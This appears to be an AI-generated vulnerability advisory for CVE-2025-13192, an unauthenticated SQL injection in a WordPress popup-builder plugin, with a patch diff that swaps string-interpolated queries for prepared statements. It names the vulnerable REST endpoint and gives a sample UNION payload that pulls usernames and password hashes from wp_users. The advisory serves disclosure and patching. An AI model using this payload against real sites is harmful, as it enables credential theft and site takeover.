Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13192: Popup builder with Gamification <= 2.2.0 – Unauthenticated SQL Injection via Multiple REST API Endpoints (popup-builder-block)

Severity High (CVSS 8.2)
CWE 89
Vulnerable Version 2.2.0
Patched Version 2.2.1
Disclosed February 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13192:
The Popup builder with Gamification WordPress plugin, versions up to and including 2.2.0, contains an unauthenticated SQL injection vulnerability affecting multiple REST API endpoints. This vulnerability, with a CVSS score of 8.2, allows attackers to append arbitrary SQL queries to existing database operations, potentially leading to sensitive information disclosure.

Atomic Edge research identifies the root cause as insufficient escaping and lack of prepared statements for user-supplied parameters in SQL queries within the plugin’s analytics functions. The vulnerable code resides in the `popup-builder-block/includes/Helpers/DataBase.php` file. Specifically, the functions `get_devices`, `get_data`, `get_top_campaigns`, and `get_convertion` dynamically construct SQL queries using string concatenation with the `$campaign_id` parameter. The code directly interpolates this user-controlled variable into the query string (e.g., `” AND campaign_id = $campaign_id”`), without using proper placeholder preparation or escaping.

The exploitation method involves sending unauthenticated HTTP GET requests to the plugin’s vulnerable REST API endpoints. Attackers can inject malicious SQL payloads via the `campaign_id` parameter. The primary attack vector is the `/wp-json/popup-builder-block/v1/analytics` endpoint, which calls the vulnerable `DataBase` class methods. An attacker can craft a payload like `1 UNION SELECT user_login,user_pass FROM wp_users–` appended to a legitimate `campaign_id` value, allowing data extraction from the WordPress database.

The patch, applied in version 2.2.1, replaces the insecure string concatenation with proper prepared statements using `$wpdb->prepare()`. The fix modifies the four vulnerable functions in `DataBase.php`. For example, the `get_devices` function changes from constructing a query with `” AND campaign_id = $campaign_id”` to using a conditional block that passes `$campaign_id` as a separate parameter to `$wpdb->prepare(“… AND campaign_id = %d”, $campaign_id)`. This ensures user input is treated as data, not executable SQL code.

Successful exploitation of this vulnerability allows unauthenticated attackers to extract sensitive information from the WordPress database. This includes WordPress user credentials (usernames and password hashes), plugin-specific data, and any other information stored in the database. The attack could lead to full site compromise through password cracking or session hijacking, and potentially facilitate privilege escalation if administrative credentials are exposed.

Differential between vulnerable and patched code

Code Diff
--- a/popup-builder-block/build/admin/dashboard/index.asset.php
+++ b/popup-builder-block/build/admin/dashboard/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery', 'moment', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-core-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-url'), 'version' => 'de07f2d7fd08280362b8');
+<?php return array('dependencies' => array('jquery', 'moment', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-core-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-url'), 'version' => 'f0c7593d4a274aa8c4fb');
--- a/popup-builder-block/build/admin/onboard/index.asset.php
+++ b/popup-builder-block/build/admin/onboard/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '7c151cb6669b8b168297');
+<?php return array('dependencies' => array('react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '117ee3d737c98130b6d0');
--- a/popup-builder-block/build/blocks/advanced-image/index.asset.php
+++ b/popup-builder-block/build/blocks/advanced-image/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '63455aaea59366663108');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '6826f98d300d24cfff76');
--- a/popup-builder-block/build/blocks/button/index.asset.php
+++ b/popup-builder-block/build/blocks/button/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '07fc9d20b22d38f18632');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '72c99a078fccccda00b3');
--- a/popup-builder-block/build/blocks/container/index.asset.php
+++ b/popup-builder-block/build/blocks/container/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives'), 'version' => '3e974da1d83b78df587e');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives'), 'version' => '6ccfa23685e8ab649bcd');
--- a/popup-builder-block/build/blocks/form/frontend.asset.php
+++ b/popup-builder-block/build/blocks/form/frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-api-fetch', 'wp-hooks'), 'version' => '9ed71d9508d138b627a1');
+<?php return array('dependencies' => array('wp-api-fetch', 'wp-hooks'), 'version' => '153548a775c2c40e0596');
--- a/popup-builder-block/build/blocks/form/index.asset.php
+++ b/popup-builder-block/build/blocks/form/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '5090607249b92587d4e5');
+<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '4af4936415ac7ad7e0eb');
--- a/popup-builder-block/build/blocks/heading/index.asset.php
+++ b/popup-builder-block/build/blocks/heading/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'a2591f5b830a3f43ef7f');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '0044078163885af3d605');
--- a/popup-builder-block/build/blocks/icon/index.asset.php
+++ b/popup-builder-block/build/blocks/icon/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'c8ebdd33fc3ae09b0d58');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'ea6a5a7567d3d2099009');
--- a/popup-builder-block/build/blocks/popup-builder/index.asset.php
+++ b/popup-builder-block/build/blocks/popup-builder/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'a1d42c6df10bc3287ef4');
+<?php return array('dependencies' => array('react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '900c4d6b681d5dc42aca');
--- a/popup-builder-block/build/popup/components.asset.php
+++ b/popup-builder-block/build/popup/components.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-url'), 'version' => '871ce24719fd07b1cea5');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-url'), 'version' => 'ccae8a2ea2da6017158f');
--- a/popup-builder-block/includes/Admin/Admin.php
+++ b/popup-builder-block/includes/Admin/Admin.php
@@ -157,6 +157,14 @@
 						true
 					);

+					// ✅ Add translation support for JS strings in Onboard scripts
+					wp_set_script_translations(
+						'popupkit-onboard',
+						'popup-builder-block',
+						plugin_dir_path( POPUP_BUILDER_BLOCK_PLUGIN_DIR ) . 'languages'
+					);
+
+
 					// Localize the script with data
 					wp_localize_script(
 						'popupkit-onboard',
@@ -204,6 +212,13 @@
 						true
 					);

+					// ✅ Add translation support for JS strings in Dashboard scripts
+					wp_set_script_translations(
+						'popup-builder-block-dashboard',
+						'popup-builder-block',
+						plugin_dir_path( POPUP_BUILDER_BLOCK_PLUGIN_DIR ) . 'languages'
+					);
+
 					wp_localize_script(
 						'popup-builder-block-dashboard',
 						'popupBuilderBlock',
--- a/popup-builder-block/includes/Config/BlockList.php
+++ b/popup-builder-block/includes/Config/BlockList.php
@@ -7,68 +7,65 @@
 class BlockList {

 	public static function get_block_list() {
-		$list = apply_filters(
-			'popup-builder-block/blocks/list',
-			array(
-				'popup-builder'      => array(
-					'slug'     => 'popup-builder',
-					'title'    => 'Popup Builder',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'button'             => array(
-					'slug'     => 'button',
-					'title'    => 'Button',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'form'               => array(
-					'slug'     => 'form',
-					'title'    => 'Form',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'advanced-paragraph' => array(
-					'slug'     => 'advanced-paragraph',
-					'title'    => 'Advanced Paragraph',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'advanced-image'     => array(
-					'slug'     => 'advanced-image',
-					'title'    => 'Advanced Image',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'icon'               => array(
-					'slug'     => 'icon',
-					'title'    => 'Icon',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'container'          => array(
-					'slug'     => 'container',
-					'title'    => 'Container',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'heading'            => array(
-					'slug'     => 'heading',
-					'title'    => 'Heading',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-			)
+		$list = array(
+			'popup-builder'      => array(
+				'slug'     => 'popup-builder',
+				'title'    => 'Popup Builder',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'button'             => array(
+				'slug'     => 'button',
+				'title'    => 'Button',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'form'               => array(
+				'slug'     => 'form',
+				'title'    => 'Form',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'advanced-paragraph' => array(
+				'slug'     => 'advanced-paragraph',
+				'title'    => 'Advanced Paragraph',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'advanced-image'     => array(
+				'slug'     => 'advanced-image',
+				'title'    => 'Advanced Image',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'icon'               => array(
+				'slug'     => 'icon',
+				'title'    => 'Icon',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'container'          => array(
+				'slug'     => 'container',
+				'title'    => 'Container',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'heading'            => array(
+				'slug'     => 'heading',
+				'title'    => 'Heading',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
 		);

-		return $list;
+		return apply_filters('popup_builder_block/blocks_list', $list );
 	}
 }
--- a/popup-builder-block/includes/Config/Blocks.php
+++ b/popup-builder-block/includes/Config/Blocks.php
@@ -4,7 +4,6 @@

 defined( 'ABSPATH' ) || exit;

-use WP_Query;
 use PopupBuilderBlockHelpersUtils;
 use PopupBuilderBlockConfigBlockList;

@@ -125,9 +124,9 @@
 		$processor->add_class( $block['attrs']['blockClass'] );
 		$processor->add_class( 'popupkit-block' );

-		$beforeMarkup     = apply_filters( 'pbb/save_element_markup_before', '', $block );
-		$afterMarkup      = apply_filters( 'pbb/save_element_markup_after', '', $block );
-		$processedContent = apply_filters( 'pbb/save_element_markup', $processor, $block, $instance );
+		$beforeMarkup     = apply_filters( 'popup_builder_block/save_element_markup_before', '', $block );
+		$afterMarkup      = apply_filters( 'popup_builder_block/save_element_markup_after', '', $block );
+		$processedContent = apply_filters( 'popup_builder_block/save_element_markup', $processor, $block, $instance );

 		if ( method_exists( $processedContent, 'get_updated_html' ) ) {
 			$processedContent = $processedContent->get_updated_html();
--- a/popup-builder-block/includes/Config/PostMeta.php
+++ b/popup-builder-block/includes/Config/PostMeta.php
@@ -221,6 +221,6 @@
 			),
 		);

-		return apply_filters( 'pbb/post_meta_fields', $meta_list );
+		return apply_filters( 'popup_builder_block/post_meta_fields', $meta_list );
 	}
 }
--- a/popup-builder-block/includes/Config/SettingsList.php
+++ b/popup-builder-block/includes/Config/SettingsList.php
@@ -7,68 +7,55 @@
 class SettingsList {

 	public static function pbb_settings_list() {
-		$list = apply_filters(
-			'popup-builder-block/pbb-settings-tabs/list',
-			array(
-				'unfiltered_upload' => array(
-					'_id'         => uniqid(),
-					'slug'        => 'unfiltered_upload',
-					'title'       => 'Unfiltered File Upload',
-					'description' => 'To be able to upload any SVG and JSON file from Media and PopupKit Icon Picker. PopupKit will remove any potentially harmful scripts and code by sanitizing the unfiltered files. We recommend enabling this feature only if you understand the security risks involved.',
-					'package'     => 'free',
-					'status'      => 'inactive',
-					'category'    => 'general',
-				),
-				'remote_image'      => array(
-					'_id'         => uniqid(),
-					'slug'        => 'remote_image',
-					'title'       => 'Download Remote Image',
-					'description' => 'To download remote images from Popupkit Templates while importing a template, enable the "Download Remote Image" option.',
-					'package'     => 'free',
-					'status'      => 'active',
-					'category'    => 'general',
-				),
-				'uninstall-data'    => array(
-					'_id'         => uniqid(),
-					'slug'        => 'uninstall-data',
-					'title'       => 'Remove All Data',
-					'description' => 'Enable this option to automatically delete all data related to the PopupKit when uninstalling this plugin.',
-					'package'     => 'free',
-					'status'      => 'inactive',
-					'category'    => 'data',
-				),
-				'analytics'         => array(
-					'_id'         => uniqid(),
-					'slug'        => 'analytics',
-					'title'       => 'Data Storage Duration for Analytics',
-					'description' => 'Generally, PoupKit stores campaign data into the database. You can set a period for automatic deletion of old campaign data using the options below. (Note that deleted data will not appear on the Analytics page.)',
-					'package'     => 'free',
-					'value'       => '2',
-					'status'      => 'active',
-					'category'    => 'advanced',
-				),
-				'user_consent'      => array(
-					'_id'         => uniqid(),
-					'slug'        => 'user_consent',
-					'title'       => 'User Consent',
-					'description' => 'Show update & fix related important messages, essential tutorials and promotional images of PopupKit on WP Dashboard',
-					'package'     => 'free',
-					'status'      => 'active',
-					'category'    => 'general',
-				),
-				// 'version_control' => array(
-				// '_id'    => uniqid(),
-				// 'slug'    => 'version_control',
-				// 'title'   => 'Version Control',
-				// 'description' => 'Enable this feature to manage the version of your popups. You can create version of a popup and restore them at any time.',
-				// 'package' => 'free',
-				// 'value'   => '1.0.0',
-				// 'status'  => 'active',
-				// 'category' => 'version',
-				// ),
-
-			)
+		$list = array(
+			'unfiltered_upload' => array(
+				'_id'         => uniqid(),
+				'slug'        => 'unfiltered_upload',
+				'title'       => esc_html__('Unfiltered File Upload', 'popup-builder-block'),
+				'description' => esc_html__('To be able to upload any SVG and JSON file from Media and PopupKit Icon Picker. PopupKit will remove any potentially harmful scripts and code by sanitizing the unfiltered files. We recommend enabling this feature only if you understand the security risks involved.', 'popup-builder-block'),
+				'package'     => 'free',
+				'status'      => 'inactive',
+				'category'    => 'general',
+			),
+			'remote_image'      => array(
+				'_id'         => uniqid(),
+				'slug'        => 'remote_image',
+				'title'       => esc_html__('Download Remote Image', 'popup-builder-block'),
+				'description' => esc_html__('To download remote images from Popupkit Templates while importing a template, enable the "Download Remote Image" option.', 'popup-builder-block'),
+				'package'     => 'free',
+				'status'      => 'active',
+				'category'    => 'general',
+			),
+			'uninstall-data'    => array(
+				'_id'         => uniqid(),
+				'slug'        => 'uninstall-data',
+				'title'       => esc_html__('Remove All Data', 'popup-builder-block'),
+				'description' => esc_html__('Enable this option to automatically delete all data related to the PopupKit when deleting this plugin.', 'popup-builder-block'),
+				'package'     => 'free',
+				'status'      => 'inactive',
+				'category'    => 'data',
+			),
+			'analytics'         => array(
+				'_id'         => uniqid(),
+				'slug'        => 'analytics',
+				'title'       => esc_html__('Data Storage Duration for Analytics', 'popup-builder-block'),
+				'description' => esc_html__('Generally, PoupKit stores campaign data into the database. You can set a period for automatic deletion of old campaign data using the options below. (Note that deleted data will not appear on the Analytics page.)', 'popup-builder-block'),
+				'package'     => 'free',
+				'value'       => '2',
+				'status'      => 'active',
+				'category'    => 'advanced',
+			),
+			'user_consent'      => array(
+				'_id'         => uniqid(),
+				'slug'        => 'user_consent',
+				'title'       => esc_html__('User Consent', 'popup-builder-block'),
+				'description' => esc_html__('Show update & fix related important messages, essential tutorials and promotional images of PopupKit on WP Dashboard', 'popup-builder-block'),
+				'package'     => 'free',
+				'status'      => 'active',
+				'category'    => 'general',
+			),
 		);
-		return $list;
+
+		return apply_filters('popup_builder_block/pbb-settings-tabs/list', $list );
 	}
 }
--- a/popup-builder-block/includes/Helpers/DataBase.php
+++ b/popup-builder-block/includes/Helpers/DataBase.php
@@ -312,18 +312,33 @@
 		global $wpdb;

 		$table_name = $wpdb->prefix . self::$LOGS_TABLE;
-		$campaign = $campaign_id ? " AND campaign_id = $campaign_id" : '';

-		return $wpdb->get_results(
-			$wpdb->prepare("SELECT SUM(device_desktop) as desktop,
-				SUM(device_tablet) as tablet,
-				SUM(device_mobile) as mobile
-				FROM %i WHERE date BETWEEN %s AND %s $campaign", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-				$table_name,
-				$start_date,
-				$end_date,
-			)
-		);
+		if ( $campaign_id ) {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT SUM(device_desktop) as desktop,
+					SUM(device_tablet) as tablet,
+					SUM(device_mobile) as mobile
+					FROM %i WHERE date BETWEEN %s AND %s AND campaign_id = %d",
+					$table_name,
+					$start_date,
+					$end_date,
+					$campaign_id
+				)
+			);
+		} else {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT SUM(device_desktop) as desktop,
+					SUM(device_tablet) as tablet,
+					SUM(device_mobile) as mobile
+					FROM %i WHERE date BETWEEN %s AND %s",
+					$table_name,
+					$start_date,
+					$end_date
+				)
+			);
+		}
 	}

 	private static function get_data($campaign_id, $start_date, $end_date, $table, $log_table, $column, $id) {
@@ -332,18 +347,37 @@
 		$table_name = $wpdb->prefix . self::$LOGS_TABLE;
 		$table = $wpdb->prefix . $table;
 		$log_table = $wpdb->prefix . $log_table;
-		$campaign = $campaign_id ? "AND campaign_id = $campaign_id " : '';

-		return $wpdb->get_results(
-			$wpdb->prepare("SELECT t.$column, SUM(lt.count) AS total_count FROM %i logs JOIN %i lt ON lt.log_id = logs.id JOIN %i t ON t.id = lt.$id WHERE logs.date BETWEEN %s AND %s $campaign GROUP BY t.$column ORDER BY total_count DESC;", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-			[
-				$table_name,
-				$log_table,
-				$table,
-				$start_date,
-				$end_date,
-			])
-		);
+		if ( $campaign_id ) {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT t.%i, SUM(lt.count) AS total_count FROM %i logs JOIN %i lt ON lt.log_id = logs.id JOIN %i t ON t.id = lt.%i WHERE logs.date BETWEEN %s AND %s AND campaign_id = %d GROUP BY t.%i ORDER BY total_count DESC;",
+					$column,
+					$table_name,
+					$log_table,
+					$table,
+					$id,
+					$start_date,
+					$end_date,
+					$campaign_id,
+					$column
+				)
+			);
+		} else {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT t.%i, SUM(lt.count) AS total_count FROM %i logs JOIN %i lt ON lt.log_id = logs.id JOIN %i t ON t.id = lt.%i WHERE logs.date BETWEEN %s AND %s GROUP BY t.%i ORDER BY total_count DESC;",
+					$column,
+					$table_name,
+					$log_table,
+					$table,
+					$id,
+					$start_date,
+					$end_date,
+					$column
+				)
+			);
+		}
 	}

 	public static function get_countries($campaign_id, $start_date, $end_date) {
@@ -362,43 +396,77 @@
 		global $wpdb;

 		$table_name = $wpdb->prefix . self::$LOGS_TABLE;
-		$campaign = $campaign_id ? "AND campaign_id = $campaign_id " : '';

-		return $wpdb->get_results(
-			$wpdb->prepare("SELECT
-				campaign_id,
-				SUM(converted) as count
-				FROM %i WHERE date BETWEEN %s AND %s $campaign GROUP BY campaign_id  ORDER BY count DESC;", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-				$table_name,
-				$start_date,
-				$end_date,
-			)
-		);
+		if ( $campaign_id ) {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT
+					campaign_id,
+					SUM(converted) as count
+					FROM %i WHERE date BETWEEN %s AND %s AND campaign_id = %d GROUP BY campaign_id ORDER BY count DESC;",
+					$table_name,
+					$start_date,
+					$end_date,
+					$campaign_id
+				)
+			);
+		} else {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT
+					campaign_id,
+					SUM(converted) as count
+					FROM %i WHERE date BETWEEN %s AND %s GROUP BY campaign_id ORDER BY count DESC;",
+					$table_name,
+					$start_date,
+					$end_date
+				)
+			);
+		}
 	}

 	public static function get_convertion( $campaign_id, $start_date, $end_date ) {
 		global $wpdb;

 		$table_name = $wpdb->prefix . self::$LOGS_TABLE;
-		$grouped_data_sql = "SELECT DATE(date) AS dateLog, SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM $table_name WHERE DATE(date) BETWEEN %s AND %s";
-		$total_data_sql = "SELECT SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM $table_name WHERE DATE(date) BETWEEN %s AND %s";
-
-		$prepare_args= [$start_date, $end_date];

 		if ( $campaign_id ) {
-			$grouped_data_sql .= " AND campaign_id = %d";
-			$total_data_sql .= " AND campaign_id = %d";
-			$prepare_args[] = $campaign_id;
+			$grouped_data = $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT DATE(date) AS dateLog, SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM %i WHERE DATE(date) BETWEEN %s AND %s AND campaign_id = %d GROUP BY DATE(date);",
+					$table_name,
+					$start_date,
+					$end_date,
+					$campaign_id
+				)
+			);
+			$total_data = $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM %i WHERE DATE(date) BETWEEN %s AND %s AND campaign_id = %d",
+					$table_name,
+					$start_date,
+					$end_date,
+					$campaign_id
+				)
+			);
+		} else {
+			$grouped_data = $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT DATE(date) AS dateLog, SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM %i WHERE DATE(date) BETWEEN %s AND %s GROUP BY DATE(date);",
+					$table_name,
+					$start_date,
+					$end_date
+				)
+			);
+			$total_data = $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM %i WHERE DATE(date) BETWEEN %s AND %s",
+					$table_name,
+					$start_date,
+					$end_date
+				)
+			);
 		}
-
-		$grouped_data_sql .= " GROUP BY DATE(date);";
-
-		$grouped_data = $wpdb->get_results(
-			$wpdb->prepare( $grouped_data_sql, $prepare_args ) // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
-		);
-		$total_data   = $wpdb->get_results(
-			$wpdb->prepare( $total_data_sql, $prepare_args ) // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
-		);

 		return array(
 			'group' => $grouped_data,
--- a/popup-builder-block/includes/Helpers/DisplayConditions.php
+++ b/popup-builder-block/includes/Helpers/DisplayConditions.php
@@ -119,11 +119,11 @@
 							break;
 					}
 				} elseif ( $pageType === 'woocommerce' && is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
-					$match = apply_filters( 'pbb/woocommerce/display_conditions', $cond, $popup_id );
+					$match = apply_filters( 'popup_builder_block/woocommerce/display_conditions', $cond, $popup_id );
 				} elseif ($pageType === 'edd' && is_plugin_active( 'easy-digital-downloads/easy-digital-downloads.php' ) ) {
-					$match = apply_filters( 'pbb/edd/display_conditions', $cond, $popup_id );
+					$match = apply_filters( 'popup_builder_block/edd/display_conditions', $cond, $popup_id );
 				} elseif ( $pageType === 'custom-url' ) {
-					$match = apply_filters( 'pbb/custom-url/display_conditions', $cond );
+					$match = apply_filters( 'popup_builder_block/custom-url/display_conditions', $cond );
 				}


--- a/popup-builder-block/includes/Helpers/PopupConditions.php
+++ b/popup-builder-block/includes/Helpers/PopupConditions.php
@@ -54,22 +54,22 @@
 	}

 	public function geolocation_targeting() {
-		return apply_filters( 'pbb/geolocation/targeting', true, $this->post_meta );
+		return apply_filters( 'popup_builder_block/geolocation/targeting', true, $this->post_meta );
 	}

 	public function scheduling() {
-		return apply_filters( 'pbb/scheduling', true, $this->post_meta );
+		return apply_filters( 'popup_builder_block/scheduling', true, $this->post_meta );
 	}

 	public function cookie_targeting() {
-		return apply_filters( 'pbb/cookie/targeting', true, $this->post_meta );
+		return apply_filters( 'popup_builder_block/cookie/targeting', true, $this->post_meta );
 	}

 	public function adblock_detection() {
-		return apply_filters( 'pbb/adblock/detection', true, $this->post_meta );
+		return apply_filters( 'popup_builder_block/adblock/detection', true, $this->post_meta );
 	}

 	public function abtest_active() {
-		return apply_filters( 'pbb/abtest/active', false, $this->post_meta );
+		return apply_filters( 'popup_builder_block/abtest/active', false, $this->post_meta );
 	}
 }
--- a/popup-builder-block/includes/Helpers/Utils.php
+++ b/popup-builder-block/includes/Helpers/Utils.php
@@ -142,7 +142,7 @@
 			),
 		);

-		return apply_filters( 'pbb_allowed_svg_attrs_tags', $allowed_svg_tags );
+		return apply_filters( 'popup_builder_block/allowed_svg_attrs_tags', $allowed_svg_tags );
 	}

 	/**
@@ -265,7 +265,7 @@
 			'markers'     => true,
 		);

-		return apply_filters( 'pbb_allowed_json_attrs_tags', $allowed_json_tags );
+		return apply_filters( 'popup_builder_block/allowed_json_attrs_tags', $allowed_json_tags );
 	}

 	public static function iframe_allowed_html() {
--- a/popup-builder-block/includes/Hooks/Enqueue.php
+++ b/popup-builder-block/includes/Hooks/Enqueue.php
@@ -84,7 +84,7 @@

 			wp_add_inline_style(
 				'popup-builder-block-single-style',
-				apply_filters( 'popup-builder-block/custom_styles', $inline_css )
+				apply_filters( 'popup_builder_block/custom_styles', $inline_css )
 			);
 		}

--- a/popup-builder-block/includes/Hooks/FontFamilyGenerator.php
+++ b/popup-builder-block/includes/Hooks/FontFamilyGenerator.php
@@ -25,7 +25,7 @@
         add_action( 'enqueue_block_assets', array($this, 'block_assets'), 10);

         add_action( 'admin_enqueue_scripts', array($this, 'load_editor_assets'));
-        add_action( 'wp_pbb_gathering_fonts', array($this, 'on_save_post'), 10, 3);
+        add_action( 'popup_builder_block/gathering_fonts', array($this, 'on_save_post'), 10, 3);
     }

     /**
@@ -199,7 +199,7 @@

         // Trigger the existing action hook
         // We pass true for 'update' as this is likely happening after initial creation/load
-        do_action('wp_pbb_gathering_fonts', $post_id, $post, true);
+        do_action('popup_builder_block/gathering_fonts', $post_id, $post, true);

         wp_send_json_success(array('message' => 'Font gathering triggered successfully for post ' . $post_id));
         wp_die();
--- a/popup-builder-block/includes/Hooks/PopupGenerator.php
+++ b/popup-builder-block/includes/Hooks/PopupGenerator.php
@@ -99,7 +99,7 @@
 			echo self::iframe( $post->ID ); /* phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped */
 		}

-		$selected_from_abtest = apply_filters('pbb/abtest/selected', array(), $abtest_posts);
+		$selected_from_abtest = apply_filters('popup_builder_block/abtest/selected', array(), $abtest_posts);
 		foreach($selected_from_abtest as $post_id) {
 			echo self::iframe( $post_id ); /* phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped */
 		}
--- a/popup-builder-block/includes/Hooks/Preview.php
+++ b/popup-builder-block/includes/Hooks/Preview.php
@@ -35,7 +35,7 @@

 		// Specify the path to the custom template file in your plugin
 		$custom_template = apply_filters(
-			'popup-builder-block/template_path',
+			'popup_builder_block/template_path',
 			POPUP_BUILDER_BLOCK_INC_DIR . 'Templates/SinglePopup.php'
 		);

--- a/popup-builder-block/includes/Libs/Init.php
+++ b/popup-builder-block/includes/Libs/Init.php
@@ -20,7 +20,6 @@
 	 * @since 1.0.0
 	 */
 	public function __construct() {
-		new UnfilteredFileSupport();
 		new UtilityPackages();
 	}
 }
--- a/popup-builder-block/includes/Routes/FetchDemo.php
+++ b/popup-builder-block/includes/Routes/FetchDemo.php
@@ -17,12 +17,12 @@
 				'endpoint'            => '/live-preview',
 				'methods'             => 'GET',
 				'callback'            => 'get_popup_preview',
-				'permission_callback' => [$this, 'permission_callback'],
+				'permission_callback' => [$this, 'pbb_nonce_permission_check'],
 			]
         ];
     }

-	public function permission_callback(): bool {
+	public function pbb_nonce_permission_check(): bool {
